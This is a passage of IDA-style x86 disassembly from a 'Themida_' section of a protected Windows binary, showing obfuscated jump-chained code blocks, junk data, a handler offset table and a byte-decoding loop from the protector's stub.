		dd 0FFDAD6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5556C1:				; CODE XREF: Themida_:00555913j
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_54A729
; ---------------------------------------------------------------------------
		dd 85BD555Fh, 0E94EA414h, 0FFFFB577h, 4EE9BCB4h, 5DFFFFABh
		dd 5104C183h, 42474FFh,	81240C8Bh, 4C4h, 24048F00h, 0FF24248Bh
		dd 81582434h, 4ECh, 39F6E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555712:				; CODE XREF: Themida_:0054B103j
					; Themida_:0054FB02j
		mov	edi, 40450D18h
		push	204h
		mov	[esp], eax
		jmp	loc_54BBA9
; ---------------------------------------------------------------------------

loc_555724:				; CODE XREF: Themida_:0054C034j
		shr	eax, 1
		jnz	loc_553695
		neg	eax
		ja	loc_549F62
		sub	eax, 0DA765825h
		push	ebp

loc_55573A:				; CODE XREF: Themida_:0054E74Dj
		jmp	loc_54D4D6
; ---------------------------------------------------------------------------

loc_55573F:				; CODE XREF: Themida_:00554E16j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_555B30
; ---------------------------------------------------------------------------

loc_555753:				; CODE XREF: Themida_:00553041j
		add	edx, 55EA2B3h
		sub	eax, edx
		pop	edx
		push	ebp
		jmp	loc_549611
; ---------------------------------------------------------------------------

loc_555762:				; CODE XREF: Themida_:0054D817j
		push	dword ptr [esp]
		jmp	loc_54E7A3
; ---------------------------------------------------------------------------

loc_55576A:				; CODE XREF: Themida_:00553870j
		mov	ch, al
		pop	eax
		xor	ch, 5Fh
		or	ch, 71h
		push	edx
		jmp	loc_5535C0
; ---------------------------------------------------------------------------

loc_555779:				; CODE XREF: Themida_:0055346Fj
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		push	ebx
		push	ecx
		mov	ecx, 2E2515AEh
		sub	ecx, 1
		dec	ecx
		and	ecx, 6F9E25A1h
		xor	ecx, 3ECD3BAFh
		xor	ecx, 3B3630EDh
		mov	ebx, ecx
		pop	ecx
		push	ecx
		mov	ecx, 42AEFE91h
		xor	ebx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		jmp	loc_54B688
; ---------------------------------------------------------------------------
		dw 58B5h
		dd 285BFD30h, 0E82858C5h, 0EC835966h, 241C8904h, 0FF4147E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5557D5:				; CODE XREF: Themida_:0054E220j
		shr	ebx, 5
		js	loc_552C12
		jmp	loc_55486E
; ---------------------------------------------------------------------------

loc_5557E3:				; CODE XREF: Themida_:0055155Aj
		pop	edi
		jmp	loc_555049
; ---------------------------------------------------------------------------

loc_5557E9:				; CODE XREF: Themida_:0054B2B6j
					; Themida_:0054CBBDj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_54DF71
; ---------------------------------------------------------------------------
		db 5Fh,	83h, 0ECh
		dd 24148904h, 4BAh, 0ECE98100h,	0E9590F29h, 0FFFF90B5h
		dd 5A2434FFh, 0FFC4EEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55581D:				; CODE XREF: Themida_:loc_5556A3j
		xor	ebx, 44514F65h
		jnb	loc_55384D
		jmp	loc_553D28
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 496D6C8Ch, 9524362Ch
; ---------------------------------------------------------------------------

loc_555838:				; CODE XREF: Themida_:00554775j
		push	esp
		jmp	loc_554C13
; ---------------------------------------------------------------------------

loc_55583E:				; CODE XREF: Themida_:0055005Ej
		mov	ebx, ebp
		pop	ebp
		sub	[edi+24h], ebx
		pop	ebx

loc_555845:				; CODE XREF: Themida_:0054BEC4j
		push	1E39h
		jmp	loc_552EE0
; ---------------------------------------------------------------------------

loc_55584F:				; CODE XREF: Themida_:00554538j
		pop	eax
		add	cl, 4Dh
		add	al, 62h
		jmp	loc_55377C
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 4625534Dh, 2CE9D831h, 61FFFFEAh, 89C6E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55586E:				; CODE XREF: Themida_:0054B0D0j
		add	esp, 4
		push	edx
		mov	edx, 11D16B0Ah
		add	edx, 52423D18h
		add	edx, 0FFFFFFFFh
		not	edx
		xor	edx, 0B7E70A94h
		xor	eax, edx
		pop	edx
		mov	edx, [esp]
		add	esp, 4
		push	52C1h
		mov	[esp], ebp
		push	edi
		mov	edi, 2000h
		jmp	loc_54A0E3
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 87000000h, 575C2414h, 2E1B59BFh, 9CF7814Fh, 0E93D5C55h
		dd 0FFFF37FCh, 5C242C87h, 4D15C381h, 0A1E93D36h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5558D7:				; CODE XREF: Themida_:005528F6j
		pop	dword ptr [esp]
		pop	esp
		add	[esp], al
		pushf
		jmp	loc_551979
; ---------------------------------------------------------------------------

loc_5558E4:				; CODE XREF: Themida_:0054DD10j
		push	5B50378Eh
		jmp	loc_54D38B
; ---------------------------------------------------------------------------

loc_5558EE:				; CODE XREF: Themida_:00552C36j
		sub	edx, ebx
		pop	ebx
		sub	edx, 4B021D77h
		jmp	loc_554A86
; ---------------------------------------------------------------------------
		dd 4C781h, 1AE90000h
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555907:				; CODE XREF: Themida_:0054F611j
		pop	edi
		add	esp, 4
		add	ebx, edx
		push	ebx
		mov	ebx, esp
		jmp	loc_5556C1
; ---------------------------------------------------------------------------

loc_555918:				; CODE XREF: Themida_:005513D1j
		push	edx
		mov	dl, 0FAh
		sub	dl, 1
		inc	dl
		jmp	loc_550286
; ---------------------------------------------------------------------------

loc_555925:				; CODE XREF: Themida_:00551F29j
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		div	ecx
		push	162Dh
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_55593F:				; CODE XREF: Themida_:loc_54FEB9j
		jmp	loc_551F84
; ---------------------------------------------------------------------------

loc_555944:				; CODE XREF: Themida_:0054BF46j
					; Themida_:0054FC83j
		pop	esp
		jmp	loc_548929
; ---------------------------------------------------------------------------
		dw 1487h
		dd 2C895C24h, 31196824h, 24890000h, 24048124h, 4, 57242C8Bh
		dd 0C781E789h, 4, 4C781h, 3C870000h, 0C5815C24h, 4, 2BF57h
		dd 0FD010000h, 0FF8661E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555989:				; CODE XREF: Themida_:0054B160j
					; Themida_:005502A1j
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 2
		jmp	loc_54F31F
; ---------------------------------------------------------------------------
		dw 0C89h
		db '$hс`',0
		align 2
aIVhu		db '┴<$Vhu]',0
		dw 8900h
		dd 0C389241Ch, 565BDE89h, 2B240481h, 5F748E46h,	462BEF81h
		dd 34FF748Eh, 0C4835E24h, 8BF98904h, 7AE9243Ch
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5559D3:				; CODE XREF: Themida_:00551563j
		pop	edx
		push	esi
		mov	esi, 4
		push	edi
		mov	edi, 58511F46h
		and	edi, 17F36E2Ch
		neg	edi
		add	edi, 1A155582h
		sub	edx, 688A1EA2h
		sub	edx, edi
		jmp	loc_5518CA
; ---------------------------------------------------------------------------
		db 0FEh
		dd 885251C3h, 0E9F588DEh, 0FFFF5012h
; ---------------------------------------------------------------------------

loc_555A08:				; CODE XREF: Themida_:0054A5BDj
		mov	[esp], edx
		mov	edx, 0DEB3C2CFh
		jmp	loc_54BE3A
; ---------------------------------------------------------------------------

loc_555A15:				; CODE XREF: Themida_:loc_555065j
		sub	cx, 803Ch
		sub	cx, bx
		jmp	loc_5548FD
; ---------------------------------------------------------------------------

loc_555A22:				; CODE XREF: Themida_:00552BEFj
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		pop	esp
		add	bl, 0E4h
		add	bl, 0E4h
		jmp	loc_5539D2
; ---------------------------------------------------------------------------
		dw 0EF80h
		dd 0DEF7803Dh, 0FF9263E9h, 28E95EFFh, 1FFFF74h,	0FF525DEAh
		dd 8B042474h, 67E92414h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555A5B:				; CODE XREF: Themida_:0054D394j
		jp	loc_54CAE8
		jmp	loc_5541CC
; ---------------------------------------------------------------------------
		dw 421h
		dd 0BAE99C24h, 56FFFF2Eh, 0C6815E54h, 4, 4310E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555A7E:				; CODE XREF: Themida_:005523AFj
		add	al, 66h
		pop	ecx
		push	4BFCh
		mov	[esp], edi
		jmp	loc_54EEC0
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 0B834E1C3h, 81F30175h, 0B834E1EBh, 5D91E975h, 0BB58FFFFh
		dd 45286233h, 0FFD294E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555AAD:				; CODE XREF: Themida_:0055140Dj
		xor	edi, 8D7FA833h
		and	ebp, edi
		pop	edi
		sub	ebp, 700076C1h
		jmp	loc_54CE50
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4EC8358h, 81241C89h,	4ECh, 24248900h, 4240483h, 6B5DE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555ADE:				; CODE XREF: Themida_:0054E5B2j
		add	esi, 0F1D61CF1h
		jmp	loc_548BE1
; ---------------------------------------------------------------------------

loc_555AE9:				; CODE XREF: Themida_:00553745j
		neg	edx
		jmp	loc_552236
; ---------------------------------------------------------------------------
		dd 0E4D7E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555AF6:				; CODE XREF: Themida_:0054CF84j
		mov	dl, bl
		pop	ebx
		mov	ch, dl
		pop	edx
		add	al, 0ECh
		add	al, ch
		sub	al, 0ECh
		pop	cx
		jmp	loc_54D971
; ---------------------------------------------------------------------------

loc_555B09:				; CODE XREF: Themida_:00549248j
					; Themida_:loc_552179j
		shr	edx, 1
		jmp	loc_548FF2
; ---------------------------------------------------------------------------
		dd 7D7BC235h, 0EE95935h
		db 2Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555B1B:				; CODE XREF: Themida_:005530EEj
		add	esi, 4
		add	esi, 4
		jmp	loc_5539EA
; ---------------------------------------------------------------------------

loc_555B29:				; CODE XREF: Themida_:0054E61Fj
		sub	ecx, edi
		jmp	loc_54A95B
; ---------------------------------------------------------------------------

loc_555B30:				; CODE XREF: Themida_:0055574Ej
		pop	esp
		mov	[esp], ebx
		push	ecx
		push	117F01C1h
		pop	ecx
		sub	ecx, 63CD048Ch
		jmp	loc_55539D
; ---------------------------------------------------------------------------
aPC		db 'P╦Ф]',7,0
		dd 0BC7DC025h, 0D0F7480Bh, 0B9892A35h, 58C109F9h, 1493BD55h
		dd 0E901C93Dh, 59CE015Dh, 2474FF56h, 24348B04h,	0FFC632E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555B75:				; CODE XREF: Themida_:00554155j
		dec	ch
		add	ch, 0E9h
		mov	bl, 4Ch
		add	bl, ch
		pop	ecx
		dec	bl
		jmp	loc_5500AE
; ---------------------------------------------------------------------------

loc_555B86:				; CODE XREF: Themida_:00551A0Bj
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_548929
; ---------------------------------------------------------------------------
		dd 0A178E9ACh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555BA2:				; CODE XREF: Themida_:00550036j
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_551C73
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 81F44BFh, 6A6BE96Dh,	0BA52FFFFh, 245D17CEh, 295AD001h
		dd 0CEB951C8h, 0E9245D17h, 0FFFF9C45h
; ---------------------------------------------------------------------------

loc_555BD0:				; CODE XREF: Themida_:005506AEj
		mov	ebx, [esp]
		push	eax
		jmp	loc_54B1E5
; ---------------------------------------------------------------------------

loc_555BD9:				; CODE XREF: Themida_:005507CAj
		push	edx
		jmp	loc_548AF5
; ---------------------------------------------------------------------------
		db 51h
		dd 0E9240CFFh, 0FFFFA6E3h, 7CE9E789h, 29FFFFB5h, 3AE95BD8h
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555BF7:				; CODE XREF: Themida_:0054E8C4j
		sub	edx, 20EF70E7h
		xor	edx, 0BD437AD7h
		add	ecx, edx
		pop	edx
		jmp	loc_553BDF
; ---------------------------------------------------------------------------

loc_555C0B:				; CODE XREF: Themida_:00550338j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_548AC1
; ---------------------------------------------------------------------------
		db 0B9h, 0F7h, 83h
		dd 0C8015B26h, 58C58959h, 94ACE950h, 0F001FFFFh, 0BBC4E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555C32:				; CODE XREF: Themida_:loc_549940j
		push	ebp
		mov	ebp, 33212954h
		jmp	loc_54EB6D
; ---------------------------------------------------------------------------

loc_555C3D:				; CODE XREF: Themida_:0055350Aj
		jmp	loc_551971
; ---------------------------------------------------------------------------

loc_555C42:				; CODE XREF: Themida_:0055518Cj
		push	ebp
		push	27BEh
		mov	[esp], edi
		mov	edi, 0
		jmp	loc_54BF6D
; ---------------------------------------------------------------------------

loc_555C55:				; CODE XREF: Themida_:005510B7j
		sub	edx, esi
		pop	esi
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54EC80
; ---------------------------------------------------------------------------

loc_555C63:				; CODE XREF: Themida_:00549EF2j
		pop	esp
		mov	cx, [esp]
		push	4D32h
		mov	[esp], ebx
		push	78DFh
		mov	[esp], esp
		jmp	loc_5500FE
; ---------------------------------------------------------------------------

loc_555C7D:				; CODE XREF: Themida_:00552468j
		inc	esi
		sub	esp, 4
		mov	[esp], esi
		not	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	eax
		jmp	loc_554E1B
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 18682404h, 8900002Dh, 77682414h, 89000009h, 4832424h
		dd 535A0424h, 0FFF5E6E9h, 4C281FFh, 56000000h, 0FFF558E9h
		dd 45E981FFh, 89EA47EDh, 0BD5559CEh, 50862F71h,	30EFBE56h
		dd 0EE8137ADh, 0C347FB94h, 815EF501h, 0C4084FEDh, 8BE829ABh
		dd 0C481242Ch, 4, 7D05F029h, 5E19275Ch,	99E9D829h
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555CFF:				; CODE XREF: Themida_:00552409j
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		mov	ebp, esp
		jmp	loc_549238
; ---------------------------------------------------------------------------

loc_555D0B:				; CODE XREF: Themida_:0054A580j
		add	esi, ebx
		pop	ebx
		push	esi
		jmp	loc_54A106
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFFA7F5h, 0BF243C89h, 2, 4F2F8505h, 55F80124h
		dd 4F2F85BDh, 5BB8E924h, 0CD81FFFFh, 28712DA8h,	0FF9F1BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555D41:				; CODE XREF: Themida_:0054CE6Ej
		xor	edi, [esp]
		jmp	loc_54F55B
; ---------------------------------------------------------------------------

loc_555D49:				; CODE XREF: Themida_:00553574j
		mov	dl, 54h
		sub	dl, 1
		add	dl, 53h
		push	4093h
		mov	[esp], ebx
		push	edx
		push	eax
		jmp	loc_550649
; ---------------------------------------------------------------------------
		dd 5C240487h, 0B9240C89h, 1171427Eh, 419B4FB8h,	0FCF052Eh
		dd 0C8292912h, 52E968h,	242C8900h, 120FCFBDh, 0E9E82929h
		dd 0FFFFEFE5h
; ---------------------------------------------------------------------------

loc_555D8C:				; CODE XREF: Themida_:0054C66Ej
		pop	ebp
		jmp	loc_54CED6
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 1B8E5C9Bh, 0B0C1815Eh, 1296464h, 0B0E981D1h,	8B296464h
		dd 0C4832414h, 0BA525304h, 2, 89D18951h, 15A59CBh, 241C8BD9h
		dd 8704C483h, 665C240Ch, 2404B30Fh, 2B57E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555DD2:				; CODE XREF: Themida_:0054C51Bj
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_54A10F
; ---------------------------------------------------------------------------

loc_555DDD:				; CODE XREF: Themida_:00552DA3j
		xor	ebx, 101F7E5Ah
		jge	loc_5550BF
		xor	ebx, 0AF0DE8Ch
		mov	ecx, ebx
		pop	ebx
		dec	ecx

loc_555DF3:				; CODE XREF: Themida_:00548C0Fj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_54D6C0
; ---------------------------------------------------------------------------

loc_555E07:				; CODE XREF: Themida_:0054939Aj
					; Themida_:00554963j
		jns	loc_552B8F
		not	bl
		jmp	loc_554437
; ---------------------------------------------------------------------------
		db 0C6h, 0C7h, 54h
; ---------------------------------------------------------------------------

loc_555E17:				; CODE XREF: Themida_:00555F88j
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp]
		mov	esp, [esp]
		div	cl
		movzx	cx, ah
		push	ebx
		jmp	loc_55014A
; ---------------------------------------------------------------------------

loc_555E3B:				; CODE XREF: Themida_:0054FF3Ej
		mov	ecx, [esp]
		push	eax
		push	esp
		pop	eax
		push	18EBh
		jmp	loc_54EB1B
; ---------------------------------------------------------------------------
		db 83h
		dd 0E95304C4h, 0FFFFB1BEh
; ---------------------------------------------------------------------------

loc_555E54:				; CODE XREF: Themida_:0054C220j
		jmp	loc_55409E
; ---------------------------------------------------------------------------

loc_555E59:				; CODE XREF: Themida_:00552ECCj
		jmp	loc_54D801
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48124h, 57000000h,	0C781E789h, 4, 4EF81h, 3C870000h
		dd 34895C24h, 81E68924h, 4C6h, 97BB5300h, 814F336Eh, 0E952EFCBh
		dd 63A9E955h, 0F75EFFFFh, 36C181D1h, 81614A22h,	29C57DC1h
		dd 3FF2E9B0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555EAA:				; CODE XREF: Themida_:0054E27Ej
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_55269F
; ---------------------------------------------------------------------------

loc_555EC2:				; CODE XREF: Themida_:0054B642j
					; Themida_:005506F9j
		add	ebx, 7A540251h
		sub	ebx, 4E030960h
		pop	ecx
		jmp	loc_551C21
; ---------------------------------------------------------------------------

loc_555ED4:				; CODE XREF: Themida_:0054A306j
		push	edx
		jmp	loc_549DE8
; ---------------------------------------------------------------------------

loc_555EDA:				; CODE XREF: Themida_:00552F91j
		push	edx
		mov	dh, 3Ah
		shr	dh, 5
		neg	dh
		sub	dh, 11h
		jmp	loc_5522AC
; ---------------------------------------------------------------------------

loc_555EEA:				; CODE XREF: Themida_:0054FD7Bj
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_54BEB9
; ---------------------------------------------------------------------------

loc_555EFB:				; CODE XREF: Themida_:0055100Dj
		mov	[esp], ebx
		mov	ebx, 1
		jmp	loc_554646
; ---------------------------------------------------------------------------

loc_555F08:				; CODE XREF: Themida_:0054B4FDj
		xor	ch, 53h
		jmp	loc_552E9B
; ---------------------------------------------------------------------------

loc_555F10:				; CODE XREF: Themida_:00553947j
		sub	edi, ebx
		pop	ebx
		add	edi, 4C253B44h
		add	edi, ecx
		jmp	loc_54E250
; ---------------------------------------------------------------------------

loc_555F20:				; CODE XREF: Themida_:005509B2j
		pop	ebx
		jmp	loc_549FDB
; ---------------------------------------------------------------------------

loc_555F26:				; CODE XREF: Themida_:0055347Aj
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_549110
; ---------------------------------------------------------------------------

loc_555F31:				; CODE XREF: Themida_:00553237j
		mov	eax, esi
		pop	esi
		push	edx
		jmp	loc_5514FC
; ---------------------------------------------------------------------------

loc_555F3A:				; CODE XREF: Themida_:00549BFAj
		xor	eax, ebx
		jmp	loc_54B17A
; ---------------------------------------------------------------------------
		db 59h,	0F7h, 0D1h
		dd 0FFB173E9h, 80EAD0FFh, 0D02815C2h, 0FF2D1DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555F55:				; CODE XREF: Themida_:0054F38Ej
		dec	al
		xor	al, 47h
		sub	bl, al
		pop	eax
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_54F1E6
; ---------------------------------------------------------------------------

loc_555F67:				; CODE XREF: Themida_:00553516j
		mov	bh, ch
		pop	ecx
		push	edx
		push	eax
		mov	al, bh
		jmp	loc_554CE2
; ---------------------------------------------------------------------------
		db 31h
		dd 1C33241Ch, 24248B24h, 0ABE930FFh
		db 58h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555F83:				; CODE XREF: Themida_:0054C197j
		pop	esp
		mov	[esp], esi
		push	esp
		jmp	loc_555E17
; ---------------------------------------------------------------------------

loc_555F8D:				; CODE XREF: Themida_:loc_55254Bj
		push	ebp
		mov	ebp, 33212954h
		add	esi, ebp
		jmp	loc_553220
; ---------------------------------------------------------------------------

loc_555F9A:				; CODE XREF: Themida_:00550904j
		add	eax, 4E12709Ah
		jmp	loc_54B3D6
; ---------------------------------------------------------------------------

loc_555FA4:				; CODE XREF: Themida_:0054DE12j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_548929
; ---------------------------------------------------------------------------
		dd 0E924148Bh, 0FFFFC716h, 0A069DDh, 7FFE0304h,	0FA6A0A69h
		dd 415CB090h, 5AAB14h, 6EB5h, 7FFE0304h, 217h, 2, 1, 0
		dd 0FA6A0A69h, 5 dup(0)
		dd offset dword_557C30
		dd offset loc_55D18F
		dd offset byte_56820B
		dd offset word_569BFA
		dd offset byte_568FF7
		dd offset byte_55A02B
		dd offset dword_56BCF8
		dd offset word_55FE2A
		dd offset byte_566AED
		dd offset byte_56932B
		dd offset byte_569803
		dd offset byte_558E67
		dd offset dword_55B118
		dd offset byte_55A629
		dd offset dword_564120
		dd offset word_55E60A
		dd offset dword_5687F4
		dd offset dword_56499C
		dd offset word_55ECC2
		dd offset word_55B1C2
		dd offset byte_565815
		dd offset word_56BFC6
		dd offset word_56096A
		dd offset word_5690BA
		dd offset dword_55FB0C
		dd offset byte_561F15
		dd offset dword_567348
		dd offset word_56176A
		dd offset byte_55FDE3
		dd offset dword_56A77C
		dd offset byte_556AD1
		dd offset byte_55F95B
		dd offset loc_55B197
		dd offset word_56D58A
		dd offset byte_55B175
		dd offset word_564F32
		dd offset byte_56A23F
		dd offset dword_5642EC
		dd offset dword_56B318
		dd offset dword_55B31C
		dd offset byte_56B8AF
		dd offset byte_563775
		dd offset dword_55AD2C
		dd offset byte_5592BB
		dd offset dword_559BAC
		dd offset word_56225A
		dd offset byte_56C5E9
		dd offset byte_5613D7
		dd offset byte_566F39
		dd offset dword_5676E0
		dd offset byte_564AC3
		dd offset byte_567511
		dd offset byte_560B15
		dd offset word_56075E
		dd offset aNusln	; "╜UИl█"
		dd offset byte_55F191
		dd offset byte_55C8C7
		dd offset byte_568E8B
		dd offset byte_563841
		dd offset word_55F63A
		dd offset byte_55640D
		dd offset aH0S		; "h;0)~ИщЁ"
		dd offset word_5694CE
		dd offset byte_56A8D5
		dd offset word_5695C2
		dd offset byte_5644B5
		dd offset aNhwq		; "╜hwQ"
		dd offset dword_567210
		dd offset word_569316
		dd offset byte_56C72D
		dd offset dword_569444
		dd offset byte_55CE51
		dd offset byte_56C275
		dd offset word_55A8CE
		dd offset dword_55963C
		dd offset byte_567ABF
		dd offset aN1Sc		; "╜1ьИC'"
		dd offset loc_557593
		dd offset dword_567F84
		dd offset byte_5664CF
		dd offset word_5686F6
		dd offset loc_556DA5
		dd offset off_55634F
		dd offset byte_55A35B
		dd offset loc_55B2A1
		dd offset dword_56D78C
		dd offset byte_56CA1F
		dd offset byte_560F57
		dd offset byte_561C31
		dd offset word_557602
		dd offset byte_569FAD
		dd offset word_569F46
		dd offset word_56D5B2
		dd offset loc_55C35B
		dd offset word_5694FA
		dd offset word_55728E
		dd offset word_56571A
		dd offset word_55ED12
		dd offset dword_55DEC8
		dd offset byte_5640FD
		dd offset dword_563618
		dd offset byte_56D493
		dd offset word_55A20E
		dd offset byte_557B19
		dd offset byte_55B27F
		dd offset byte_5630F1
		dd offset dword_56460C
		dd offset dword_56B858
		dd offset byte_5692C3
		dd offset byte_567CDB
		dd offset byte_557F77
		dd offset byte_55CC69
		dd offset word_5689A2
		dd offset byte_5653C7
		dd offset word_556FDA
		dd offset byte_565441
		dd offset loc_561A9F
		dd offset aMsg7		; "╛Иё7"
		dd offset dword_560294
		dd offset dword_55EDC0
		dd offset word_56556A
		dd offset word_55A77A
		dd offset dword_56500C
		dd offset byte_55D7B9
		dd offset dword_56D5CC
		dd offset byte_564279
		dd offset loc_56AC0E
		dd offset dword_561CFC
		dd offset dword_5582F0
		dd offset byte_55ED47
		dd offset byte_55DBE3
		dd offset loc_55CC26
		dd offset byte_55DB29
		dd offset word_559F4A
		dd offset word_5684CE
		dd offset byte_567E61
		dd offset dword_56D6D8
		dd offset byte_557BFF
		dd offset word_56A3FE
		dd offset byte_55E617
		dd offset dword_5633D0
		dd offset word_56C516
		dd offset dword_559FF8
		dd offset byte_556C41
		dd offset byte_55ABB5
		dd offset dword_565124
		dd offset dword_55EAF4
		dd offset byte_560B91
		dd offset word_56B1BA
		dd offset byte_55E1DD
		dd offset byte_5654F5
		dd offset word_566502
		dd offset byte_56C121
		dd offset word_562736
		dd offset byte_55D483
		dd offset dword_5651A4
		dd offset byte_565919
		dd offset aMsl		; "╛И▀}"
		dd offset dword_557860
		dd offset word_563BCE
		dd offset word_56635A
		dd offset byte_563E6D
		dd offset dword_55BC48
		dd offset byte_55A72D
		dd offset byte_56ABEB
		dd offset loc_55F4E8
		dd offset word_5606AA
; ---------------------------------------------------------------------------

loc_5562A0:				; CODE XREF: Themida_:00599D7Ej
					; Themida_:005A5A70j
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 5EB583Fh
		mov	eax, edi
		add	edi, 5EB5557h
		cmp	eax, [edi+2Ch]
		jnz	short loc_5562BE
		jmp	short loc_5562D1
; ---------------------------------------------------------------------------

loc_5562BE:				; CODE XREF: Themida_:005562BAj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5562CD
; ---------------------------------------------------------------------------

loc_5562C8:				; CODE XREF: Themida_:005562CFj
		add	[edi+ecx*4+40h], eax
		dec	ecx

loc_5562CD:				; CODE XREF: Themida_:005562C6j
		or	ecx, ecx
		jnz	short loc_5562C8

loc_5562D1:				; CODE XREF: Themida_:005562BCj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1

loc_5562DE:				; CODE XREF: Themida_:005562E5j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_5562DE

loc_5562E7:				; CODE XREF: Themida_:005563B6j
					; Themida_:005564B2j ...
		lodsb
		xor	al, bl
		push	small 38D3h
		mov	[esp], cx
		push	small 5772h
		mov	[esp], ax
		mov	al, 9Dh
		push	41FBh
		mov	[esp], edx
		mov	dl, al
		sub	esp, 4
		mov	[esp], eax
		mov	ah, dl
		mov	ch, ah
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_56D65C
; ---------------------------------------------------------------------------

loc_556322:				; CODE XREF: Themida_:0055EFAEj
		sub	esi, ebx
		pop	ebx
		add	ebp, esi
		jmp	loc_561CC2
; ---------------------------------------------------------------------------
		dd 1668C381h, 0C8E92F75h, 0C100013Ch, 8B0F05E3h, 48E0h
		dd 0E902EBC1h, 0DA83h, 1CCBE95Bh
		db 2 dup(0), 50h
off_55634F	dd offset dword_4B5248+7C20h ; DATA XREF: Themida_:0055614Co
		align 4
		dd 83242C89h, 2C8904ECh, 2C8B5424h, 4C48124h, 0E9000000h
		dd 0AFEDh
; ---------------------------------------------------------------------------

loc_55636C:				; CODE XREF: Themida_:005567CBj
		push	ebx
		jmp	loc_55837D
; ---------------------------------------------------------------------------
		dw 0E681h
		dd 3CA530FFh, 8107EEC1h, 10805F6h, 2B26E900h
		db 1, 0
; ---------------------------------------------------------------------------

loc_556386:				; CODE XREF: Themida_:00556F14j
		add	esp, 4
		push	esi
		pop	ecx
		pop	esi
		jmp	loc_5656F6
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0DEh
		dd 0E9130CF8h, 16416h
; ---------------------------------------------------------------------------

loc_55639C:				; CODE XREF: Themida_:005692E0j
		mov	eax, 4A0173D6h
		push	ecx
		mov	ecx, 4A016FD6h
		sub	eax, ecx
		pop	ecx
		or	[edi+1Ch], eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
		db 55h
		dd 587B7BBDh, 0B6CD8131h, 4D00141Bh, 376FE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5563CE:				; CODE XREF: Themida_:0055AF72j
		add	ebp, 450051A5h
